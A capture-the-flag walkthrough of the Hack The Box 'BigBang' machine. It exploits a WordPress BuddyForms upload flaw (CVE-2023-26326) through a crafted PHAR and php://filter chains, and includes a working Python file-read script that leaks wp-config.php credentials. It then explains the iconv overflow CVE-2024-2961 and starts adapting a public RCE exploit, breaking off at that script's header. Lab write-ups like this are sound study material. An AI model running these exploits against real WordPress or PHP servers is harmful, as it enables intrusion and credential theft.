RECON
Port Scan
$ rustscan -a $target_ip --ulimit 1000 -r 1-65535 -- -A -sC -Pn
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 d4:15:77:1e:82:2b:2f:f1:cc:96:c6:28:c1:86:6b:3f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBET3VRLx4oR61tt3uTowkXZzNICnY44UpSL7zW4DLrn576oycUCy2Tvbu7bRvjjkUAjg4G080jxHLRJGI4NJoWQ=
| 256 6c:42:60:7b:ba:ba:67:24:0f:0c:ac:5d:be:92:0c:66 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILbYOg6bg7lmU60H4seqYXpE3APnWEqfJwg1ojft/DPI
80/tcp open http syn-ack Apache httpd 2.4.62
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://blog.bigbang.htb/
|_http-server-header: Apache/2.4.62 (Debian)
Service Info: Host: blog.bigbang.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Ports Open:
- 22/tcp (SSH): OpenSSH 8.9p1 (Ubuntu).
- 80/tcp (HTTP): Apache 2.4.62 (Debian), serving a website with the hostname
blog.bigbang.htb
.
http://blog.bigbang.htb strongly hints this is a blog website.
Blog
Overview
Obviously this is a WordPress Blog:

A request to /wp-content/plugins/buddyforms/assets/js/bf-global-js-big-bang.js?ver=6.5.4
indicates the buddyforms
plugin found:

Wpscan
We can always us the tool wpscan against a WordPress blog web application:
wpscan --url 'http://blog.bigbang.htb'
As a result:
[+] Headers
| Interesting Entries:
| - Server: Apache/2.4.62 (Debian)
| - X-Powered-By: PHP/8.3.2
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://blog.bigbang.htb/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://blog.bigbang.htb/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://blog.bigbang.htb/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://blog.bigbang.htb/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 6.5.4 identified (Insecure, released on 2024-06-05).
| Found By: Rss Generator (Passive Detection)
| - http://blog.bigbang.htb/?feed=rss2, <generator>https://wordpress.org/?v=6.5.4</generator>
| - http://blog.bigbang.htb/?feed=comments-rss2, <generator>https://wordpress.org/?v=6.5.4</generator>
[+] WordPress theme in use: twentytwentyfour
| Location: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/
| Last Updated: 2024-11-13T00:00:00.000Z
| Readme: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/readme.txt
| [!] The version is out of date, the latest version is 1.3
| [!] Directory listing is enabled
| Style URL: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/style.css
| Style Name: Twenty Twenty-Four
| Style URI: https://wordpress.org/themes/twentytwentyfour/
| Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti...
| Author: the WordPress team
| Author URI: https://wordpress.org
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 1.1 (80% confidence)
| Found By: Style (Passive Detection)
| - http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/style.css, Match: 'Version: 1.1'
[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] buddyforms
| Location: http://blog.bigbang.htb/wp-content/plugins/buddyforms/
| Last Updated: 2024-09-25T04:52:00.000Z
| [!] The version is out of date, the latest version is 2.8.13
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 2.7.7 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://blog.bigbang.htb/wp-content/plugins/buddyforms/readme.txt
- WordPress Version 6.5.4 (Insecure): Outdated versions of WordPress often contain vulnerabilities that attackers exploit.
- XML-RPC Enabled: XML-RPC can be abused for:
- Brute-forcing credentials using the
xmlrpc.php
endpoint. - Amplification in DoS attacks.
- Pingback attacks (denial of service).
- Brute-forcing credentials using the
- Exposed Uploads Directory: Directory listing allows us to view uploaded files, which could include sensitive information or exploitable files (e.g., backups, database dumps, or vulnerable scripts), via http://blog.bigbang.htb/wp-content/uploads/
- BuddyForms Plugin (Version 2.7.7, Outdated): This outdated plugin could have vulnerabilities.
- Exposed Readme Files: Readme (http://blog.bigbang.htb/readme.html) files reveal versions of WordPress, plugins, and themes.
- Exposed WP-Cron: The WP-Cron feature could be leveraged for DoS attacks or used to execute malicious payloads if vulnerable.
- Theme in Use: Twenty Twenty-Four (Version 1.1): The theme is outdated (http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/readme.txt), and directory listing is enabled (http://blog.bigbang.htb/wp-content/themes/twentytwentyfour). We can browse the theme directory (
/wp-content/themes/twentytwentyfour/
) for interesting files like backup archives or sensitive configurations.
APIs
We can observer some API endpoints crawled by BurpSuite Target
:

http://blog.bigbang.htb/wp-admin/admin-ajax.php
http://blog.bigbang.htb/wp-admin/upload.php

http://blog.bigbang.htb/wp-content/uploads/2024/06/342-3427921_physics-atom-clipart-715454559-2.png
http://blog.bigbang.htb/wp-login.php
http://blog.bigbang.htb/xmlrpc.php
Directory Listing
Since we can perform directory listing through http://blog.bigbang.htb/wp-content/themes/twentytwentyfour:

Nothing interesting found from here yet.
WEB
WP Plugin | BuddyForms
CVE-2023-26326
The vulnerability of plugin BuddyForms can be found in CVE-2023-26326, which is explain in this article.
A brief Concept of the PoC:
- Create a malicious
phar
file. - Upload the malicious phar file as an image via the
upload_image_from_url
action. - Call the file with the
phar://
wrapper using the same action.
As the author mentions - The main difficulty in exploiting this vulnerability is to find a gadget chain. There are several known gadgets chain for WordPress, but they are no longer valid on the latest versions.
Test The Methodology
The BuddyForms plugin for WordPress is commercial, so we cannot access its source code for the new versions public, but the older versions are hosted on Github in order to better facilitate community contributions from developers and users alike. Thus, we can inspect the vulnerable function buddyforms_upload_image_from_url()
through this repository.
To verify the exploit logic, we can first create a malicious phar
archive which will pretend to be an image :
<?php
// evil.php
class Evil {
public function __wakeup() : void {
// Trigger behavior to confirm deserialization
file_put_contents('/tmp/phar_triggered.txt', "PHAR deserialized at " . date('Y-m-d H:i:s') . "\n", FILE_APPEND);
}
}
// Create a new PHAR file
$phar = new Phar('evil.phar');
$phar->startBuffering();
// Add a dummy file (PHAR content)
$phar->addFromString('test.txt', 'text');
// Set the PHAR stub (disguising it as a GIF with "Hello World")
$phar->setStub("GIF89a\n<?php __HALT_COMPILER(); ?>\n<?php printf('Hello World'); ?>");
// Add an object of the Evil class as metadata
$object = new Evil();
$phar->setMetadata($object);
$phar->stopBuffering();
After the setup, we run the following command to execute the evil.php
script while temporarily overriding the phar.readonly
configuration to 0
(disabled) - By default, PHP prevents the creation of writable PHAR files unless phar.readonly
is set to 0
. This allows the creation of writable .phar
archives:
php --define phar.readonly=0 evil.php
This shows the creation and inspection of a PHAR (PHP Archive) file as part of a potential PHP Object Injection (POI) exploit:
$ php --define phar.readonly=0 evil.php
$ ls evil.*
evil.phar evil.php
$ strings evil.phar
GIF89a
<?php __HALT_COMPILER(); ?>
O:4:"Evil":0:{}
test.txt
textu
GBMB
$ cat evil.phar
GIF89a
<?php __HALT_COMPILER(); ?>
2�*;/�WGBMB%
The BuddyForms plugin on the target WordPress website (blog.bigbang.htb
) is outdated and vulnerable, allowing arbitrary file uploads via its upload_image_from_url
action. We will need to construct a POST request with corresponding parameters, which suits for the BuddyForms plugin:
curl 'http://blog.bigbang.htb/wp-admin/admin-ajax.php' -v \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d "action=upload_image_from_url&id=1&accepted_files=image/gif&url=${evil_url}"
Where ${evil_url}
should be the URL containing a maliciously serialized PHP object.
We can test by serving the evil.phar
on our HTTP server, then make a request to the vulnerable endpoint wp-admin/admin-ajax.php
:

It works! The server returns a URL for the uploaded content, which we can open in the browser to view the PNG image:

The image can be downloaded using curl
, which contains exactly the file we uploaded:
$ curl http://blog.bigbang.htb/wp-content/uploads/2025/01/1-1.png -v -o test.png
$ strings test.png
GIF89a
<?php __HALT_COMPILER(); ?>
O:4:"Evil":0:{}
test.txt
textu
GBMB
$ cat test.png
GIF89a
<?php __HALT_COMPILER(); ?>
2�*;/�WGBMB%
No WAF blocks us from uploading a phar
archive, confirming a file read primitive. However, we can't trigger deserialization just yet. When attempting to leverage the phar://
protocol for LFI or SSRF, we modified evil_url
to:
export evil_url='phar://../wp-content/uploads/2025/01/1-1.png'
# or
export evil_url='file:///etc/passwd'
# or
export evil_url='http://localhost'
The server will respond failure:
{"status":"FAILED","response":"File type is not allowed."}
Starting from PHP 8.0 (released in 2020),
phar://
does not deserialise the metadata anymore to kill PHAR attacks, that we know our target through headerX-Powered-By: PHP/8.3.2
with wpscan.
And we cannot upload a PHP file neither, as expected:

The article mentions it is patched in newer version (though we are having a outdated one but it could be patched somehow manually) of the plugin, by adding a security check:
if ( strpos( $valid_url, 'phar://' ) !== false ) {
return;
}
However, this correction seems insufficient because the downloaded file is still not verified. It would still be possible to exploit the vulnerability if another plugin allows to call an arbitrary file, or using other protocols except phar://
which aren't blacklisted.
LFI SSRF | php://filter
If you're well-versed in PHP exploitation for web pentesting, the issue is obvious—we can upload a phar
archive, but without a way to access and execute it as its intended format, it’s just another PNG when viewed in the browser. Typically, we'd pair this with an LFI primitive to complete the attack chain
Since we can’t access the latest BuddyForms source code, we assume it patches vulnerabilities using blacklists, as seen in past updates. This means alternative protocols might slip through.
One common trick in PHP is leveraging the php://filter
protocol, often used in CTFs. It's detailed here on Hacktricts:
php://filter/[filters...]/resource=[resource]
It introduces 5 categories of filters in PHP, which are a list of transformation that we want PHP to apply on the stream:
- String Filters:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Remove tags from the data (everything between "<" and ">" chars)- Note that this filter has disappear from the modern versions of PHP
- Conversion Filters
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Transforms to a different encoding(convert.iconv.<input_enc>.<output_enc>
) . To get the list of all the encodings supported run in the console:iconv -l
- Compression Filters
zlib.deflate
: Compress the content (useful if exfiltrating a lot of info)zlib.inflate
: Decompress the data
- Encryption Filters
mcrypt.*
: Deprecatedmdecrypt.*
: Deprecated
- Other Filters
- Running in php
var_dump(stream_get_filters());
we can find a couple of unexpected filters:consumed
dechunk
: reverses HTTP chunked encodingconvert.*
- Running in php
None of the payloads worked—the server still rejects /etc/passwd
with a File type is not allowed
response.
To test if the restriction applies only to non-image files, I modified the evil_url
to point to an actual image instead:
export evil_url='php://filter/convert.base64-encode|convert.base64-decode/resource=../wp-content/uploads/2025/01/1-1.png'
curl
the /wp-admin/admin-ajax.php
endpoint and we have a positive response:

Inspect the generated PNG file and download it for review:
$ curl http://blog.bigbang.htb/wp-content/uploads/2025/01/1-5.png -o test2.png
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 153 100 153 0 0 101 0 0:00:01 0:00:01 --:--:-- 101
$ strings test2.png
GIF89a
<?php __HALT_COMPILER(); ?>
O:4:"Evil":0:{}
test.txt
text
Yzj1
GBMB
"It turns out we can upload specific file types—like PNG, GIF, JPG, and even PHAR archives—using the god-killing php://filter
protocol.
With this, we now possess a leakage primitive that mimics LFI behavior, albeit with limitations on the file types. While it’s not true Local File Inclusion (as we’re not directly including files), we can leak file contents by exploiting this SSRF-enabled pseudo-LFI technique.
Tool of Disguise | wrapwrap
At this point, we have an Arbitrary Upload, a file-type-restricted LFI, an SSRF Entry, and a File Read primitive. However, crafting a working exploit still demands more effort. Since we’ve confirmed that the php://filter
protocol allows us to perform LFI, our next goal is to target sensitive files instead of just leaking our uploaded images.
A solution to our challenge lies in wrapwrap, a tool by Ambionics Security—a renowned name in PHP exploitation. This tool generates a php://filter
chain capable of adding a prefix and suffix to the contents of a file, allowing us to prepend image-specific metadata to any file we want to read. By doing so, we can trick the server into treating sensitive files as valid images, bypassing the file type restrictions.
Usage of wrapwrap:
usage: wrapwrap.py [-h] [-o OUTPUT] [-p PADDING_CHARACTER] [-f] path prefix suffix nb_bytes
Example:
$ ./wrapwrap.py /etc/passwd '<root><test>' '</test></root>' 100
[*] Dumping 108 bytes from /etc/passwd.
[+] Wrote filter chain to chain.txt (size=88781).
$ php -r 'echo file_get_contents(file_get_contents("chain.txt"));'
<root><test>root:x:0:0:root:/root:/bin/bash=0Adaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin=0Abin:x:2:2:bin:/bin:/usr/</test></root>
positional arguments:
path Path to the file
prefix A string to write before the contents of the file
suffix A string to write after the contents of the file
nb_bytes Number of bytes to dump. It will be aligned with 9
To test the tool, we can try to disguise /etc/passwd
into a GIF file, by adding the GIF89a
header:
python wrapwrap.py '/etc/passwd' 'GIF89a' ' 450000
This generates a chain in format of php"//filter
protocol:

Modify the evil_url
to utilize the wrapwrap
-generated chain, then upload it through the vulnerable endpoint. This bypasses the file type
restriction by spoofing the server into interpreting the file as an image. With this method, we can successfully perform arbitrary file read, leaking the contents of the uploaded 'image':

The /etc/passwd
file leaked does not show any non-system users, The absence of regular user suggests this could be a Dockerized or containerized environment.
Arbitrary File Read
We can now create a script to automate the exploitation to perform arbitrary file read, using the chain we created by wrapwrap:
import requests
import sys
import json
# Base URL for the target
BASE_URL = "http://blog.bigbang.htb/wp-admin/admin-ajax.php"
# Headers for the POST request
HEADERS = {
"Content-Type": "application/x-www-form-urlencoded",
}
# Prefix for php://filter chain
chain_prefix = "php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource="
def send_lfi_request(file_to_read):
"""Send the LFI request with the given file to read."""
data = "action=upload_image_from_url&id=1&accepted_files=image/gif&url=" \
+ chain_prefix + file_to_read
try:
response = requests.post(BASE_URL, headers=HEADERS, data=data)
if response.status_code == 200:
return response
else:
print(f"[-] Error: Received status code {response.status_code}")
except Exception as e:
print(f"[-] Exception occurred during LFI request: {e}")
return None
def parse_lfi_response(response):
try:
result = response.json()
if result.get("status") == "OK":
return result.get("response", None)
else:
print(f"[-] Error: Status is not OK. Raw Response: {response.text}")
except json.JSONDecodeError:
print(f"[-] Error: Failed to decode JSON response. Raw Response: {response.text}")
except Exception as e:
print(f"[-] Unexpected error: {e}")
return None
def fetch_file_contents(file_url):
"""Fetch the contents of the file from the given URL."""
try:
file_response = requests.get(file_url)
if file_response.status_code == 200:
return file_response.text
else:
print(f"[-] Error: Failed to retrieve file. Status code: {file_response.status_code}")
except Exception as e:
print(f"[-] Exception occurred while fetching the file: {e}")
return None
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python LFI.py <file_to_read>")
sys.exit(1)
file_to_read = sys.argv[1]
print(f"[+] Attempting to read file: {file_to_read}")
# Step 1: Send the LFI request
response = send_lfi_request(file_to_read)
if not response:
print("[-] Failed to send LFI request. Exiting...")
sys.exit(1)
# Step 2: Parse the response and get the file URL
file_url = parse_lfi_response(response)
if not file_url:
print("[-] Failed to parse the response. Exiting...")
sys.exit(1)
print(f"[+] File URL: {file_url}")
# Step 3: Fetch and decode the file contents
file_contents = fetch_file_contents(file_url)
if file_contents:
print("[+] File Contents:")
print(file_contents)
else:
print("[-] Failed to fetch file contents")
With the lfi.py
script, we can now read any files on the WordPress server. The file structure of WordPress is detailed here. Since we are likely positioned in the /plugin
directory, we can target the wp-config.php
configuration file by appending a single ../
to our path:

Key findings from the truncated wp-config.php
:
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** Database username */
define( 'DB_USER', 'wp_user' );
/** Database password */
define( 'DB_PASSWORD', 'wp_password' );
/** Database hostname */
define( 'DB_HOST', '172.17.0.1' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
define( 'AUTH_KEY', '(6xl?]9=.f9(<(yxpm9]5<wKsyEc+y&MV6CjjI(0lR2)_6SWDnzO:[g98nOOPaeK' );
define( 'SECURE_AUTH_KEY', 'F<3>KtCm^zs]Mxm Rr*N:&{SWQexFn@ wnQ+bTN5UCF-<gMsT[mH$m))T>BqL}%8' );
define( 'LOGGED_IN_KEY', ':{yhPsf}tZRfMAut2$Fcne/.@Vs>uukS&JB04 Yy3{`$`6p/Q=d^9=ZpkfP,o%l]' );
define( 'NONCE_KEY', 'sC(jyKu>gY(,&: KS#Jh7x?/CB.hy8!_QcJhPGf@3q<-a,D#?!b}h8 ao;g[<OW;' );
define( 'AUTH_SALT', '_B& tL]9I?ddS! 0^_,4M)B>aHOl{}e2P(l3=!./]~v#U>dtF7zR=~LnJtLgh&KK' );
define( 'SECURE_AUTH_SALT', '<Cqw6ztRM/y?eGvMzY(~d?:#]v)em`.H!SWbk.7Fj%b@Te<r^^Vh3KQ~B2c|~VvZ' );
define( 'LOGGED_IN_SALT', '_zl+LT[GqIV{*Hpv>]H:<U5oO[w:]?%Dh(s&Tb-2k`1!WFqKu;elq7t^~v7zS{n[' );
define( 'NONCE_SALT', 't2~PvIO1qeCEa^+J}@h&x<%u~Ml{=0Orqe]l+DD7S}%KP}yi(6v$mHm4cjsK,vCZ' );
// WordPress database table prefix.
$table_prefix = 'wp_';
define( 'WP_DEBUG', false );
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
The host IP of database 172.17.0.1
again implies it should be in a container. And it reveals another configuration file wp-settings.php
:
add_action( 'after_setup_theme', array( wp_script_modules(), 'add_hooks' ) );
add_action( 'after_setup_theme', array( wp_interactivity(), 'add_hooks' ) );
// Load must-use plugins.
foreach ( wp_get_mu_plugins() as $mu_plugin ) {
$_wp_plugin_file = $mu_plugin;
include_once $mu_plugin;
$mu_plugin = $_wp_plugin_file; // Avoid stomping of the $mu_plugin variable in a plugin.
/**
* Fires once a single must-use plugin has loaded.
*
* @since 5.1.0
*
* @param string $mu_plugin Full path to the plugin's main file.
*/
do_action( 'mu_plugin_loaded', $mu_plugin );
}
unset( $mu_plugin, $_wp_plugin_file );
// Load network activated plugins.
if ( is_multisite() ) {
foreach ( wp_get_active_network_plugins() as $network_plugin ) {
wp_register_plugin_realpath( $network_plugin );
$_wp_plugin_file = $network_plugin;
include_once $network_plugin;
$network_plugin = $_wp_plugin_file; // Avoid stomping of the $network_plugin variable in a plugin.
/**
* Fires once a single network-activated plugin has loaded.
*
* @since 5.1.0
*
* @param string $network_plugin Full path to the plugin's main file.
*/
do_action( 'network_plugin_loaded', $network_plugin );
}
unset( $network_plugin, $_wp_plugin_file );
}
// Create an instance of WP_Site_Health so that Cron events may fire.
if ( ! class_exists( 'WP_Site_Health' ) ) {
require_once ABSPATH . 'wp-admin/includes/class-wp-site-health.php';
}
WP_Site_Health::get_instance();
Nothing found here to help us to gain a shell yet.
CVE-2024–2961 | Buffer Overflow
CVE-2024–2961 will be applied to the next step, as we can find relevant information on the internet - the PoC exactly uses the BuddyForms plugin as a demo for the exploit:

Identify Overflow | iconv
The Ambionics Security team, who is the PHP expert, release a research named "Iconv, Set the Charset to RCE" for CVE-2024-2961 in this article.
The CVE-2024-2961 vulnerability, discovered in GNU libiconv
, involves arbitrary code execution due to improper input validation when handling specially crafted input during character set conversions. This vulnerability arises because of the ability to chain conversion filters in a way that exploits memory corruption.
The whole research is a beast. Therefore, I think cannot introduce the whole picture in a writeup for a seasonal machine, with limited length of writing. I will try to go through the key concepts within the exploit path - though you may have difficulties to understand when lacking certain knowledge for Binary Exploitation. Highly recommend for the original research.
The concept of exploitation is a lot like the Evil Corp Pwn challenge on HTB as well, introduced in this writeup - It was kept private and now I set the same password as this writeup.
As some fundamental knowledge, we should know many PHP functions are implemented in C - PHP itself is written in C. The iconv
API, which we can trigger via LFI (or SSRF to be accurately), is used in PHP (via glibc on Linux, refer to the manual) to convert text between character sets. It involves two main steps:
- Opening a Conversion Descriptor:
iconv_open(tocode, fromcode)
initializes the conversion between the specified input (fromcode
) and output (tocode
) charsets.
- Performing the Conversion:
iconv()
converts data from the input buffer (inbuf
) to the output buffer (outbuf
), with the caller managing buffer sizes.- If the output buffer is insufficient,
iconv()
signals an error, allowing the caller to reallocate (the function to extend the heap) and continue the conversion.
The vulnerability lies in when the iconv
implementation for the ISO-2022-CN-EXT
charset. It misses certain boundary checks when emitting escape sequences. While the first escape sequence block ensures the output buffer has enough space, subsequent blocks do not. We can use exotic characters, such as 劄
, 䂚
, 峛
or 湿
, to overflow 1–3 bytes.
ISO-2022-CN-EXT
uses escape sequences (ESC
bytes, like\x1B
) to switch between character sets.- Each character may require 4 bytes:
- 2 bytes for the escape sequence.
ESC
(\x1B
) indicates the start of an escape sequence.$
(\x24
) specifies the start of a multi-byte character encoding.
- 2 bytes for the encoded character.
- 2 bytes for the escape sequence.
- Exotic characters like
劄
,䂚
,峛
, or湿
typically result in escape sequences followed by encoded character bytes. For example:劄
might be encoded as:ESC $ * H
(byte format:\x1B\x24\x2A\x48
).- This makes the total 4 bytes per character.
- When processing these characters, the
iconv
implementation must write 4 bytes per character to the output buffer. - The vulnerability arises when
iconv
fails to check if enough space is available for these 4-byte escape sequences, leading to an out-of-bounds write (overflow).
Preconditions
The ISO-2022-CN-EXT vulnerability allowed for a 1-to-3 byte overflow, but the overflow was limited by:
- Non-controlled characters: The bytes written during overflow (
$*H
,$+I
, etc.) could not be fully controlled by us. - Preconditions for Exploitation:
- We needed to control the output charset (set to
ISO-2022-CN-EXT
). - We also needed partial control over the input buffer (to inject specific Chinese characters like
劄
,䂚
, etc.). - A suitable output buffer for us to reach the return address with limited overflows (1 to 3 bytes).
- We needed to control the output charset (set to
Due to these constraints, finding viable exploitation targets was challenging - but the author manage to leverage php://filter
protocol to exploit this Overflow, which is the standpoint of our current exploitation process.
PHP Heap
To dive into the attack, we need to figure out how PHP heap works (if you have difficulty understanding what it is, the following part could be too far for a learner of Binary Exploit).
- Memory Allocation:
- PHP uses
emalloc(N)
to allocateN
bytes and returns a pointer to a memory chunk. - When a chunk is no longer needed, it is released using
efree(ptr)
. - PHP supports chunk sizes like
0x8
,0x10
,0x18
, up to0x200
or larger (e.g.,0x280
).
- PHP uses
- Heap Structure:
- The PHP heap is a 2MB region, divided into 512 pages of
0x1000
(4KB) bytes each. - Each page stores chunks of a specific size (e.g., page 10 stores
0x100
-byte chunks, page 11 stores0x38
-byte chunks). - No metadata exists between chunks to track allocations, making it efficient but vulnerable to overflows - because there will be no security checks between chunks on the heap.
- The PHP heap is a 2MB region, divided into 512 pages of
- Free List Management:
- Free chunks are added to a free list (a singly linked list - insecure again compared to double-linked list) for each chunk size.
- When
efree(ptr)
is called, the chunk is added to the head of the free list (LIFO behavior). - When a chunk is needed, PHP allocates it from the free list. If the free list is empty, PHP creates new chunks in an unused page and adds them to the list.
- Overflow Vulnerability:
- Unallocated chunks in the free list store a pointer to the next free chunk in the first 8 bytes.
- If an overflow occurs from an adjacent allocated chunk, this pointer can be overwritten, altering the free list structure.
Once we can overwrite the pointer stored on a free list, this is then very simple - we can control the next allocated emalloc
-chunk address to anywhere we want (somewhere dangerous), and then write any data on it to complete the final RCE attack with techniques like ROP.
php://filter
Here we come to our old friend again, but with a deeper, low-level perspective. We will see how PHP Handles php://filter
.
- Streams and Buckets:
- PHP reads the resource (e.g.,
/etc/passwd
) into a stream, which is represented by a bucket brigade:- A bucket brigade is a doubly-linked list of buckets, each containing a buffer with a portion of the resource's data.
- Example:
/etc/passwd
might be split across 3 buckets:- Bucket 1: First 5 bytes.
- Bucket 2: Next 30 bytes.
- Bucket 3: Next 1000 bytes.
- PHP reads the resource (e.g.,
- Processing Filters:
- Filters (e.g.,
string.upper
) are applied to the bucket brigade:- PHP processes one bucket at a time, allocating an output buffer of the same size as the bucket's input buffer.
- For example, if the filter is
string.upper
, lowercase characters in the input buffer are converted to uppercase in the output buffer. - A new bucket is created for the processed data.
- Filters (e.g.,
- Chaining Filters:
- Once the first filter processes all buckets, a new bucket brigade is created with the output buckets.
- The next filter is then applied to this new brigade.
- This process continues until the last filter is applied.
This is kind of a simpler I/O operation for PHP, as we have understanding for other I/O operations implemented by GLIBC, Linux Kernel, etc.
A simple workflow illustration:
1 | Resource /etc/passwd
→ Bucket Brigade:
[Bucket 1: 5 bytes] → [Bucket 2: 30 bytes] → [Bucket 3: 1000 bytes]
2 | Apply Filter (e.g., string.upper
):
Input Bucket → Output Buffer → New Bucket (uppercase data)
3 | Chain Filters:
Original Brigade → Filter 1 Output → Filter 2 Output → Final Brigade
Can you feel the dangers with this mechanism (trembling me)? The bucket brigade structure makes PHP's php://filter
flexible but introduces potential vulnerabilities:
- Filters process data in chunks, making them susceptible to buffer overflows if size checks are inadequate.
- Chained filters amplify complexity, allowing attackers to craft intricate payloads (e.g., combining encoding/decoding filters).
Exploit The Overflow
Our goal is to leverage the memory corruption vulnerability in the convert.iconv.XXX.ISO-2022-CN-EXT
filter for remote code execution (RCE).
Since now we have an Arbitrary File Read primitive with the exploitation from previous chapter, it enables us to:
- Read Critical Binaries:
- Files like PHP, Apache, and shared libraries (e.g.,
libc
) can be read for analysis. - Example: By reading the
libc
binary, we can verify whether it has been patched or not.
- Files like PHP, Apache, and shared libraries (e.g.,
- Leak Memory Layout:
/proc/self/maps
can be read to reveal the memory layout of the running process.- This bypasses ASLR (Address Space Layout Randomization) and PIE (Position Independent Executables), as we can identify base addresses of binaries and libraries - awesome for binex.
- Arbitrary Heap Manipulation:
- By abusing buckets, we can allocate and deallocate buffers almost arbitrarily.
- This allows precise manipulation of the heap, making it easy to prepare for exploitation.
Therefore, our objective is to leverage the single-byte buffer overflow in PHP filters (convert.iconv
) to manipulate the heap and achieve write-what-where control for RCE.
Let's stop diving deeper from here - as we should read the article from the author to really learn how it work. A simple summary for the attack:
- Use
zlib.inflate
to create multiple buckets. - Resize buckets with
dechunk
to align them with chunk sizes in the heap (0x100
). - Manipulate the free list by allocating, freeing, and overwriting pointers.
- Dynamically control buckets with the Russian doll technique for precise exploitation.
- Achieve write-what-where and execute arbitrary code.
The ultimate workflow we will apply to the attack:
- Request 1: Reads
/proc/self/maps
to:- Leak the memory layout of the PHP process (including the heap address).
- Leak
libc
base address for ROP.
- Request 2: Downloads the matched
libc
binary to:- Extract the memory address of
system()
, enabling arbitrary command execution with commandsystem('/bin/sh')
.
- Extract the memory address of
- Request 3:Executes the final payload to:
- Trigger the overflow.
- Perform the heap manipulation.
- Execute the command.
No more details introduced in this writeup. If you want to dive deeper, refer to the author's post.
PoC Script
If you don't get the idea, just follow the PoC introduced for this CVE on Github. But we need to make some modification to it to work on our case - that is why requiring you to have a fundamental knowledge on the vulnerability and debug the PoC.
Using the lfi.py
created before we can easily access the /proc/self/maps
to leak the libc addresses:

The PoC script will automate the process for us, so called cnext-exploit.py
in the repository. All we need is to modify the helper class Remote
by embedding the logic of the functions from lfi.py
, and change the corresponding part followingly, which I will add comments as explanation in the script:
#!/usr/bin/env python3
#
# CNEXT: PHP file-read to RCE (CVE-2024-2961)
# Date: 2024-05-27
# Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)
#
# TODO Parse LIBC to know if patched
#
# INFORMATIONS
#
